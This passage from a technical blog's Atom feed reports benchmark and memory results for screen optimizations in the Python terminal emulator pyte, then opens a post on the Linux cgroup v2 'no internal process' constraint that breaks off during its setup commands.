&lt;p&gt;While not been frequently called, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was the next bottleneck for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: it moves all the lines of the screen that it means that all the entries of the buffer are rewritten.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reverse_index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; were optimized to take advantage of the sparsity and to avoid adding false entries.&lt;/p&gt;
&lt;p&gt;This resulted on a speedup across the tests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+----------------------------------------------------------+----------+-----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+default-conf |
+==========================================================+==========+=========================================+
| [stream_feed 2400x8000] vi.input-&amp;gt;HistoryScreen          | 49.4 ms  | 6.70 ms: 7.38x faster                   |
| [stream_feed 2400x8000] top.input-&amp;gt;HistoryScreen         | 7.35 ms  | 1.31 ms: 5.62x faster                   |
| [stream_feed 2400x8000] find-etc.input-&amp;gt;HistoryScreen    | 2.92 sec | 543 ms: 5.38x faster                    |
| [stream_feed 240x800] ls.input-&amp;gt;HistoryScreen            | 9.29 ms  | 1.75 ms: 5.31x faster                   |
| [stream_feed 24x80] top.input-&amp;gt;HistoryScreen             | 6.61 ms  | 1.25 ms: 5.30x faster                   |
| [stream_feed 240x800] top.input-&amp;gt;HistoryScreen           | 6.57 ms  | 1.24 ms: 5.29x faster                   |
| [stream_feed 240x800] cat-gpl3.input-&amp;gt;HistoryScreen      | 215 ms   | 43.3 ms: 4.97x faster                   |
| [stream_feed 24x80] ls.input-&amp;gt;HistoryScreen              | 6.26 ms  | 1.34 ms: 4.68x faster                   |
| [stream_feed 24x80] cat-gpl3.input-&amp;gt;HistoryScreen        | 140 ms   | 31.9 ms: 4.38x faster                   |
| [stream_feed 240x800] find-etc.input-&amp;gt;HistoryScreen      | 532 ms   | 123 ms: 4.32x faster                    |
| [stream_feed 2400x8000] vi.input-&amp;gt;Screen                 | 13.7 ms  | 3.53 ms: 3.88x faster                   |
| [stream_feed 24x80] find-etc.input-&amp;gt;HistoryScreen        | 294 ms   | 81.1 ms: 3.62x faster                   |
| [stream_feed 2400x8000] htop.input-&amp;gt;HistoryScreen        | 122 ms   | 34.4 ms: 3.54x faster                   |
    :::                 ::::                                    ::::         :::
| [stream_feed 240x800] vi.input-&amp;gt;Screen                   | 5.39 ms  | 2.67 ms: 2.02x faster                   |
| [stream_feed 24x80] mc.input-&amp;gt;HistoryScreen              | 44.3 ms  | 24.4 ms: 1.82x faster                   |
| [stream_feed 2400x8000] htop.input-&amp;gt;Screen               | 38.1 ms  | 21.4 ms: 1.78x faster                   |
| [stream_feed 240x800] htop.input-&amp;gt;Screen                 | 23.2 ms  | 13.2 ms: 1.76x faster                   |
| [stream_feed 240x800] find-etc.input-&amp;gt;Screen             | 134 ms   | 77.0 ms: 1.74x faster                   |
| [stream_feed 24x80] vi.input-&amp;gt;Screen                     | 4.45 ms  | 2.57 ms: 1.73x faster                   |
| [stream_feed 24x80] htop.input-&amp;gt;Screen                   | 20.8 ms  | 12.2 ms: 1.71x faster                   |
| [stream_feed 2400x8000] cat-gpl3.input-&amp;gt;HistoryScreen    | 262 ms   | 157 ms: 1.67x faster                    |
| [stream_feed 240x800] mc.input-&amp;gt;HistoryScreen            | 63.7 ms  | 43.8 ms: 1.45x faster                   |
| [stream_feed 2400x8000] ls.input-&amp;gt;Screen                 | 7.77 ms  | 5.61 ms: 1.38x faster                   |
| [stream_feed 24x80] mc.input-&amp;gt;Screen                     | 17.6 ms  | 13.1 ms: 1.34x faster                   |
| [stream_feed 2400x8000] find-etc.input-&amp;gt;Screen           | 616 ms   | 501 ms: 1.23x faster                    |
| [stream_feed 2400x8000] cat-gpl3.input-&amp;gt;Screen           | 170 ms   | 143 ms: 1.19x faster                    |
| [stream_feed 2400x8000] mc.input-&amp;gt;HistoryScreen          | 259 ms   | 285 ms: 1.10x slower                    |
| [stream_feed 240x800] mc.input-&amp;gt;Screen                   | 23.3 ms  | 32.3 ms: 1.39x slower                   |
| [stream_feed 2400x8000] mc.input-&amp;gt;Screen                 | 71.2 ms  | 281 ms: 3.94x slower                    |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; however took much more time.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;track_dirty_lines&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;disable_display_graphic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the overall performance increases even further.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+----------------------------------------------------------+----------+----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+custom-conf |
+==========================================================+==========+========================================+
| [stream_feed 2400x8000] mc.input-&amp;gt;HistoryScreen          | 259 ms   | 21.2 ms: 12.19x faster                 |
| [stream_feed 2400x8000] vi.input-&amp;gt;HistoryScreen          | 49.4 ms  | 5.52 ms: 8.95x faster                  |
| [stream_feed 2400x8000] mc.input-&amp;gt;Screen                 | 71.2 ms  | 10.8 ms: 6.60x faster                  |
| [stream_feed 2400x8000] find-etc.input-&amp;gt;HistoryScreen    | 2.92 sec | 464 ms: 6.29x faster                   |
| [stream_feed 2400x8000] top.input-&amp;gt;HistoryScreen         | 7.35 ms  | 1.27 ms: 5.80x faster                  |
| [stream_feed 2400x8000] htop.input-&amp;gt;HistoryScreen        | 122 ms   | 22.3 ms: 5.45x faster                  |
| [stream_feed 2400x8000] vi.input-&amp;gt;Screen                 | 13.7 ms  | 2.52 ms: 5.43x faster                  |
| [stream_feed 24x80] top.input-&amp;gt;HistoryScreen             | 6.61 ms  | 1.23 ms: 5.38x faster                  |
| [stream_feed 240x800] ls.input-&amp;gt;HistoryScreen            | 9.29 ms  | 1.73 ms: 5.37x faster                  |
| [stream_feed 240x800] cat-gpl3.input-&amp;gt;HistoryScreen      | 215 ms   | 42.0 ms: 5.12x faster                  |
    :::                 ::::                                    ::::         :::
| [stream_feed 24x80] cat-gpl3.input-&amp;gt;Screen               | 46.3 ms  | 17.2 ms: 2.69x faster                  |
| [stream_feed 240x800] top.input-&amp;gt;Screen                  | 2.39 ms  | 913 us: 2.61x faster                   |
| [stream_feed 24x80] top.input-&amp;gt;Screen                    | 2.36 ms  | 914 us: 2.58x faster                   |
| [stream_feed 2400x8000] ls.input-&amp;gt;HistoryScreen          | 13.4 ms  | 5.39 ms: 2.50x faster                  |
| [stream_feed 24x80] htop.input-&amp;gt;HistoryScreen            | 55.3 ms  | 22.6 ms: 2.44x faster                  |
    :::                 ::::                                    ::::         :::
| [stream_feed 240x800] vi.input-&amp;gt;Screen                   | 5.39 ms  | 2.57 ms: 2.10x faster                  |
| [stream_feed 24x80] mc.input-&amp;gt;HistoryScreen              | 44.3 ms  | 21.3 ms: 2.08x faster                  |
| [stream_feed 2400x8000] cat-gpl3.input-&amp;gt;HistoryScreen    | 262 ms   | 132 ms: 1.99x faster                   |
| [stream_feed 240x800] find-etc.input-&amp;gt;Screen             | 134 ms   | 76.3 ms: 1.76x faster                  |
| [stream_feed 24x80] vi.input-&amp;gt;Screen                     | 4.45 ms  | 2.54 ms: 1.75x faster                  |
| [stream_feed 24x80] mc.input-&amp;gt;Screen                     | 17.6 ms  | 10.6 ms: 1.66x faster                  |
| [stream_feed 2400x8000] ls.input-&amp;gt;Screen                 | 7.77 ms  | 4.85 ms: 1.60x faster                  |
| [stream_feed 2400x8000] find-etc.input-&amp;gt;Screen           | 616 ms   | 422 ms: 1.46x faster                   |
| [stream_feed 2400x8000] cat-gpl3.input-&amp;gt;Screen           | 170 ms   | 118 ms: 1.44x faster                   |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On memory there is an improvement too:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+--------------------------------------------------------------+-------------------+-----------------------------------------------------+
| Benchmark                                                    | 0.8.1.tracemalloc | 0.8.1+screen-optimizations+default-conf.tracemalloc |
+==============================================================+===================+=====================================================+
| [stream_feed 2400x8000] vi.input-&amp;gt;HistoryScreen              | 11.7 MB           | 686.8 kB: 17.45x faster                             |
| [stream_feed 2400x8000] vi.input-&amp;gt;Screen                     | 4742.1 kB         | 538.0 kB: 8.81x faster                              |
| [stream_feed 2400x8000] htop.input-&amp;gt;HistoryScreen            | 14.5 MB           | 3552.1 kB: 4.18x faster                             |
| [stream_feed 240x800] vi.input-&amp;gt;HistoryScreen                | 2679.0 kB         | 686.8 kB: 3.90x faster                              |
| [stream_feed 2400x8000] top.input-&amp;gt;HistoryScreen             | 2120.7 kB         | 611.8 kB: 3.47x faster                              |
| [stream_feed 2400x8000] htop.input-&amp;gt;Screen                   | 11.5 MB           | 3408.2 kB: 3.45x faster                             |
| [stream_feed 2400x8000] top.input-&amp;gt;Screen                    | 2155.1 kB         | 680.2 kB: 3.17x faster                              |
| [stream_feed 240x800] htop.input-&amp;gt;HistoryScreen              | 2189.7 kB         | 1005.8 kB: 2.18x faster                             |
| [stream_feed 240x800] vi.input-&amp;gt;Screen                       | 1107.7 kB         | 536.1 kB: 2.07x faster                              |
| [stream_feed 240x800] htop.input-&amp;gt;Screen                     | 1782.7 kB         | 990.6 kB: 1.80x faster                              |
            :::                 ::::                                    ::::         :::
| [stream_feed 240x800] find-etc.input-&amp;gt;HistoryScreen          | 2233.5 kB         | 1502.4 kB: 1.49x faster                             |
| [stream_feed 24x80] ls.input-&amp;gt;HistoryScreen                  | 1554.3 kB         | 1086.0 kB: 1.43x faster                             |
| [stream_feed 24x80] cat-gpl3.input-&amp;gt;HistoryScreen            | 1354.0 kB         | 960.1 kB: 1.41x faster                              |
| [stream_feed 24x80] top.input-&amp;gt;Screen                        | 948.2 kB          | 680.2 kB: 1.39x faster                              |
| [stream_feed 24x80] vi.input-&amp;gt;HistoryScreen                  | 954.7 kB          | 686.8 kB: 1.39x faster                              |
| [stream_feed 24x80] find-etc.input-&amp;gt;HistoryScreen            | 1017.6 kB         | 774.9 kB: 1.31x faster                              |
| [stream_feed 240x800] top.input-&amp;gt;HistoryScreen               | 763.6 kB          | 653.6 kB: 1.17x faster                              |
| [stream_feed 24x80] mc.input-&amp;gt;HistoryScreen                  | 485.0 kB          | 417.6 kB: 1.16x faster                              |
| [stream_feed 24x80] htop.input-&amp;gt;Screen                       | 936.1 kB          | 814.3 kB: 1.15x faster                              |
| [stream_feed 24x80] mc.input-&amp;gt;Screen                         | 722.3 kB          | 651.6 kB: 1.11x faster                              |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following are the tests that show regression on memory usage.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| [stream_feed 240x800] mc.input-&amp;gt;Screen                       | 1842.2 kB         | 2577.4 kB: 1.40x slower                             |
| [stream_feed 240x800] mc.input-&amp;gt;HistoryScreen                | 1793.2 kB         | 2548.1 kB: 1.42x slower                             |
| [stream_feed 2400x8000] mc.input-&amp;gt;HistoryScreen              | 13.6 MB           | 22.3 MB: 1.64x slower                               |
| [stream_feed 2400x8000] ls.input-&amp;gt;HistoryScreen              | 8422.1 kB         | 13.7 MB: 1.67x slower                               |
| [stream_feed 2400x8000] mc.input-&amp;gt;Screen                     | 12.2 MB           | 22.3 MB: 1.82x slower                               |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;track_dirty_lines&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;disable_display_graphic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, this is even better:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+--------------------------------------------------------------+-------------------+----------------------------------------------------+
| Benchmark                                                    | 0.8.1.tracemalloc | 0.8.1+screen-optimizations+custom-conf.tracemalloc |
+==============================================================+===================+====================================================+
| [stream_feed 2400x8000] mc.input-&amp;gt;HistoryScreen              | 13.6 MB           | 414.1 kB: 33.60x faster                            |
| [stream_feed 2400x8000] mc.input-&amp;gt;Screen                     | 12.2 MB           | 447.6 kB: 27.98x faster                            |
| [stream_feed 2400x8000] htop.input-&amp;gt;Screen                   | 11.5 MB           | 600.5 kB: 19.59x faster                            |
| [stream_feed 2400x8000] vi.input-&amp;gt;HistoryScreen              | 11.7 MB           | 665.4 kB: 18.01x faster                            |
| [stream_feed 2400x8000] htop.input-&amp;gt;HistoryScreen            | 14.5 MB           | 1009.0 kB: 14.73x faster                           |
| [stream_feed 2400x8000] vi.input-&amp;gt;Screen                     | 4742.1 kB         | 522.4 kB: 9.08x faster                             |
| [stream_feed 240x800] mc.input-&amp;gt;HistoryScreen                | 1793.2 kB         | 417.4 kB: 4.30x faster                             |
| [stream_feed 240x800] mc.input-&amp;gt;Screen                       | 1842.2 kB         | 447.6 kB: 4.12x faster                             |
| [stream_feed 240x800] vi.input-&amp;gt;HistoryScreen                | 2679.0 kB         | 652.6 kB: 4.11x faster                             |
| [stream_feed 2400x8000] top.input-&amp;gt;HistoryScreen             | 2120.7 kB         | 653.6 kB: 3.24x faster                             |
| [stream_feed 2400x8000] top.input-&amp;gt;Screen                    | 2155.1 kB         | 680.6 kB: 3.17x faster                             |
| [stream_feed 240x800] htop.input-&amp;gt;Screen                     | 1782.7 kB         | 600.5 kB: 2.97x faster                             |
| [stream_feed 240x800] htop.input-&amp;gt;HistoryScreen              | 2189.7 kB         | 785.0 kB: 2.79x faster                             |
| [stream_feed 240x800] vi.input-&amp;gt;Screen                       | 1107.7 kB         | 522.4 kB: 2.12x faster                             |
| [stream_feed 2400x8000] cat-gpl3.input-&amp;gt;HistoryScreen        | 20.3 MB           | 11.8 MB: 1.72x faster                              |
            :::                 ::::                                    ::::         :::
| [stream_feed 24x80] find-etc.input-&amp;gt;HistoryScreen            | 1017.6 kB         | 774.8 kB: 1.31x faster                             |
| [stream_feed 240x800] top.input-&amp;gt;HistoryScreen               | 763.6 kB          | 653.6 kB: 1.17x faster                             |
| [stream_feed 24x80] mc.input-&amp;gt;HistoryScreen                  | 485.0 kB          | 422.0 kB: 1.15x faster                             |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, we still have some regressions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| [stream_feed 24x80] htop.input-&amp;gt;HistoryScreen                | 863.7 kB          | 1009.0 kB: 1.17x slower                            |
| [stream_feed 2400x8000] ls.input-&amp;gt;HistoryScreen              | 8422.1 kB         | 13.7 MB: 1.67x slower                              |&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="screen.reset"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;For &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we have a regressions, some minor, some not-so-much minor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+----------------------------------------------------------+----------+-----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+default-conf |
+==========================================================+==========+=========================================+
| [screen_reset 2400x8000] ls.input-&amp;gt;HistoryScreen         | 65.4 us  | 68.9 us: 1.05x slower                   |
| [screen_reset 2400x8000] mc.input-&amp;gt;Screen                | 51.9 us  | 54.8 us: 1.06x slower                   |
| [screen_reset 2400x8000] top.input-&amp;gt;HistoryScreen        | 65.6 us  | 69.5 us: 1.06x slower                   |
    :::                 ::::                                    ::::         :::
| [screen_reset 24x80] cat-gpl3.input-&amp;gt;HistoryScreen       | 13.2 us  | 15.4 us: 1.17x slower                   |
| [screen_reset 24x80] vi.input-&amp;gt;HistoryScreen             | 13.0 us  | 15.3 us: 1.18x slower                   |
| [screen_reset 240x800] htop.input-&amp;gt;Screen                | 4.87 us  | 5.78 us: 1.19x slower                   |
| [screen_reset 24x80] mc.input-&amp;gt;HistoryScreen             | 13.1 us  | 15.7 us: 1.19x slower                   |
| [screen_reset 240x800] mc.input-&amp;gt;Screen                  | 4.81 us  | 5.75 us: 1.20x slower                   |
| [screen_reset 24x80] ls.input-&amp;gt;HistoryScreen             | 13.0 us  | 15.5 us: 1.20x slower                   |
| [screen_reset 24x80] find-etc.input-&amp;gt;HistoryScreen       | 13.0 us  | 15.6 us: 1.20x slower                   |
| [screen_reset 24x80] htop.input-&amp;gt;HistoryScreen           | 12.9 us  | 15.5 us: 1.21x slower                   |
| [screen_reset 240x800] find-etc.input-&amp;gt;Screen            | 4.86 us  | 5.87 us: 1.21x slower                   |
| [screen_reset 240x800] htop.input-&amp;gt;HistoryScreen         | 15.6 us  | 18.9 us: 1.21x slower                   |
| [screen_reset 240x800] vi.input-&amp;gt;Screen                  | 4.83 us  | 5.87 us: 1.22x slower                   |
| [screen_reset 240x800] top.input-&amp;gt;Screen                 | 4.72 us  | 5.77 us: 1.22x slower                   |
    :::                 ::::                                    ::::         :::
| [screen_reset 240x800] ls.input-&amp;gt;Screen                  | 4.79 us  | 5.86 us: 1.22x slower                   |
| [screen_reset 240x800] cat-gpl3.input-&amp;gt;Screen            | 4.79 us  | 5.89 us: 1.23x slower                   |
| [screen_reset 24x80] vi.input-&amp;gt;Screen                    | 2.05 us  | 3.05 us: 1.49x slower                   |
| [screen_reset 24x80] mc.input-&amp;gt;Screen                    | 2.04 us  | 3.05 us: 1.49x slower                   |
| [screen_reset 24x80] ls.input-&amp;gt;Screen                    | 2.01 us  | 3.01 us: 1.50x slower                   |
| [screen_reset 24x80] htop.input-&amp;gt;Screen                  | 2.02 us  | 3.06 us: 1.51x slower                   |
| [screen_reset 24x80] cat-gpl3.input-&amp;gt;Screen              | 2.03 us  | 3.07 us: 1.52x slower                   |
| [screen_reset 24x80] top.input-&amp;gt;Screen                   | 2.03 us  | 3.11 us: 1.53x slower                   |
| [screen_reset 24x80] find-etc.input-&amp;gt;Screen              | 2.00 us  | 3.06 us: 1.53x slower                   |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;track_dirty_lines&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;disable_display_graphic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the things improves (but we still have regressions):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+----------------------------------------------------------+----------+----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+custom-conf |
+==========================================================+==========+========================================+
| [screen_reset 2400x8000] find-etc.input-&amp;gt;Screen          | 51.3 us  | 15.2 us: 3.38x faster                  |
| [screen_reset 2400x8000] mc.input-&amp;gt;Screen                | 51.9 us  | 15.5 us: 3.35x faster                  |
| [screen_reset 2400x8000] vi.input-&amp;gt;Screen                | 52.8 us  | 15.9 us: 3.32x faster                  |
    :::                 ::::                                    ::::         :::
| [screen_reset 2400x8000] cat-gpl3.input-&amp;gt;HistoryScreen   | 66.5 us  | 29.9 us: 2.22x faster                  |
| [screen_reset 2400x8000] htop.input-&amp;gt;HistoryScreen       | 64.6 us  | 29.4 us: 2.20x faster                  |
| [screen_reset 240x800] htop.input-&amp;gt;Screen                | 4.87 us  | 4.58 us: 1.06x faster                  |
| [screen_reset 240x800] find-etc.input-&amp;gt;Screen            | 4.86 us  | 4.62 us: 1.05x faster                  |
| [screen_reset 240x800] cat-gpl3.input-&amp;gt;HistoryScreen     | 16.0 us  | 17.0 us: 1.06x slower                  |
| [screen_reset 240x800] mc.input-&amp;gt;HistoryScreen           | 16.0 us  | 17.1 us: 1.07x slower                  |
| [screen_reset 240x800] find-etc.input-&amp;gt;HistoryScreen     | 16.1 us  | 17.3 us: 1.07x slower                  |
| [screen_reset 240x800] top.input-&amp;gt;HistoryScreen          | 15.9 us  | 17.1 us: 1.08x slower                  |
| [screen_reset 240x800] htop.input-&amp;gt;HistoryScreen         | 15.6 us  | 17.5 us: 1.12x slower                  |
    :::                 ::::                                    ::::         :::
| [screen_reset 24x80] htop.input-&amp;gt;HistoryScreen           | 12.9 us  | 15.3 us: 1.19x slower                  |
| [screen_reset 24x80] htop.input-&amp;gt;Screen                  | 2.02 us  | 2.89 us: 1.43x slower                  |
| [screen_reset 24x80] top.input-&amp;gt;Screen                   | 2.03 us  | 2.92 us: 1.44x slower                  |
| [screen_reset 24x80] mc.input-&amp;gt;Screen                    | 2.04 us  | 2.94 us: 1.44x slower                  |
| [screen_reset 24x80] ls.input-&amp;gt;Screen                    | 2.01 us  | 2.90 us: 1.44x slower                  |
| [screen_reset 24x80] vi.input-&amp;gt;Screen                    | 2.05 us  | 2.96 us: 1.44x slower                  |
| [screen_reset 24x80] find-etc.input-&amp;gt;Screen              | 2.00 us  | 2.90 us: 1.45x slower                  |
| [screen_reset 24x80] cat-gpl3.input-&amp;gt;Screen              | 2.03 us  | 2.96 us: 1.46x slower                  |&lt;/code&gt;&lt;/pre&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/07/14/TLDR-Screen-Optimizations-Results.html" rel="alternate" type="text/html" title="TL;DR Screen Optimizations Results for Terminal Emulator Pyte"/>
    <category term="python" label="python"/>
    <category term="pyte" label="pyte"/>
    <category term="byexample" label="byexample"/>
    <category term="optimization" label="optimization"/>
    <category term="performance" label="performance"/>
    <category term="tldr" label="tldr"/>
    <category term="tl;dr" label="tl;dr"/>
    <published>2022-07-14T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/04/27/Linux-Control-Group-No-Internal-Process-Constraint.html</id>
    <title>Control Group - No Internal Process Constraint</title>
    <updated>2022-04-27T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;!--
$ test -d /sys/fs/cgroup/test &amp;&amp; echo "cgroup test/ already created!"     # byexample: +fail-fast
--&gt;
&lt;p&gt;&lt;label for='ClByZXZpb3VzIHBvc3RzOiBbaGllcmFyY2hpY2FsIG9yZ2FuaXphdGlvbl0oL2FydGljbGVzLzIwMjIvMDQvMjMvTGludXgtQ29udHJvbC1Hcm91cC1IaWVyYXJjaGljYWwtT3JnYW5pemF0aW9uLmh0bWwpCjxiciAvPgphbmQgW3Jlc291cmNlcyBkaXN0cmlidXRpb25dKC9hcnRpY2xlcy8yMDIyLzA0LzI0L0xpbnV4LUNvbnRyb2wtR3JvdXAtUmVzb3VyY2UtRGlzdHJpYnV0aW9uLmh0bWwpCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClByZXZpb3VzIHBvc3RzOiBbaGllcmFyY2hpY2FsIG9yZ2FuaXphdGlvbl0oL2FydGljbGVzLzIwMjIvMDQvMjMvTGludXgtQ29udHJvbC1Hcm91cC1IaWVyYXJjaGljYWwtT3JnYW5pemF0aW9uLmh0bWwpCjxiciAvPgphbmQgW3Jlc291cmNlcyBkaXN0cmlidXRpb25dKC9hcnRpY2xlcy8yMDIyLzA0LzI0L0xpbnV4LUNvbnRyb2wtR3JvdXAtUmVzb3VyY2UtRGlzdHJpYnV0aW9uLmh0bWwpCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Previous posts: &lt;a href="/articles/2022/04/23/Linux-Control-Group-Hierarchical-Organization.html"&gt;hierarchical organization&lt;/a&gt; &lt;br /&gt; and &lt;a href="/articles/2022/04/24/Linux-Control-Group-Resource-Distribution.html"&gt;resources distribution&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In the previous post we saw that we cannot enable a controller or add a process to a cgroup freely. That would make the implementation of each controller harder.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;v2&lt;/code&gt; the hierarchy is subject to the &lt;em&gt;no internal process&lt;/em&gt; constraint that ensures that a controller will have all the processes in leaves of its domain tree.&lt;/p&gt;
&lt;p&gt;This is the last of a 3-post series about &lt;code&gt;cgroup&lt;/code&gt; and certainly, this &lt;em&gt;no internal process&lt;/em&gt; constraint was the hardest to understand. &lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;Let’s create the following &lt;code&gt;cgroup&lt;/code&gt; hierarchy to play with. Notice how we enable the resource controller &lt;code&gt;+cpu&lt;/code&gt; on &lt;code&gt;test/&lt;/code&gt;’s and &lt;code&gt;test/cg1/&lt;/code&gt;’s subtrees but not on &lt;code&gt;test/cg2/&lt;/code&gt;’s.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgYHNoZWxsCiQgY2QgL3N5cy9mcy9jZ3JvdXAKJCBta2RpciAtcCB0ZXN0L2NnMS9jZzFfMQokIG1rZGlyIC1wIHRlc3QvY2cxL2NnMV8yCiQgbWtkaXIgLXAgdGVzdC9jZzIvY2cyXzEKJCBta2RpciAtcCB0ZXN0L2NnMi9jZzJfMgoKJCBlY2hvICcrY3B1JyA+IHRlc3QvY2dyb3VwLnN1YnRyZWVfY29udHJvbAokIGVjaG8gJytjcHUnID4gdGVzdC9jZzEvY2dyb3VwLnN1YnRyZWVfY29udHJvbApgYGAKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYHNoZWxsCiQgY2QgL3N5cy9mcy9jZ3JvdXAKJCBta2RpciAtcCB0ZXN0L2NnMS9jZzFfMQokIG1rZGlyIC1wIHRlc3QvY2cxL2NnMV8yCiQgbWtkaXIgLXAgdGVzdC9jZzIvY2cyXzEKJCBta2RpciAtcCB0ZXN0L2NnMi9jZzJfMgoKJCBlY2hvICcrY3B1JyA+IHRlc3QvY2dyb3VwLnN1YnRyZWVfY29udHJvbAokIGVjaG8gJytjcHUnID4gdGVzdC9jZzEvY2dyb3VwLnN1YnRyZWVfY29udHJvbApgYGAKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/sys/fs/cgroup
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_1
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_2
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cg2_1
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cg2_2

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.subtree_control
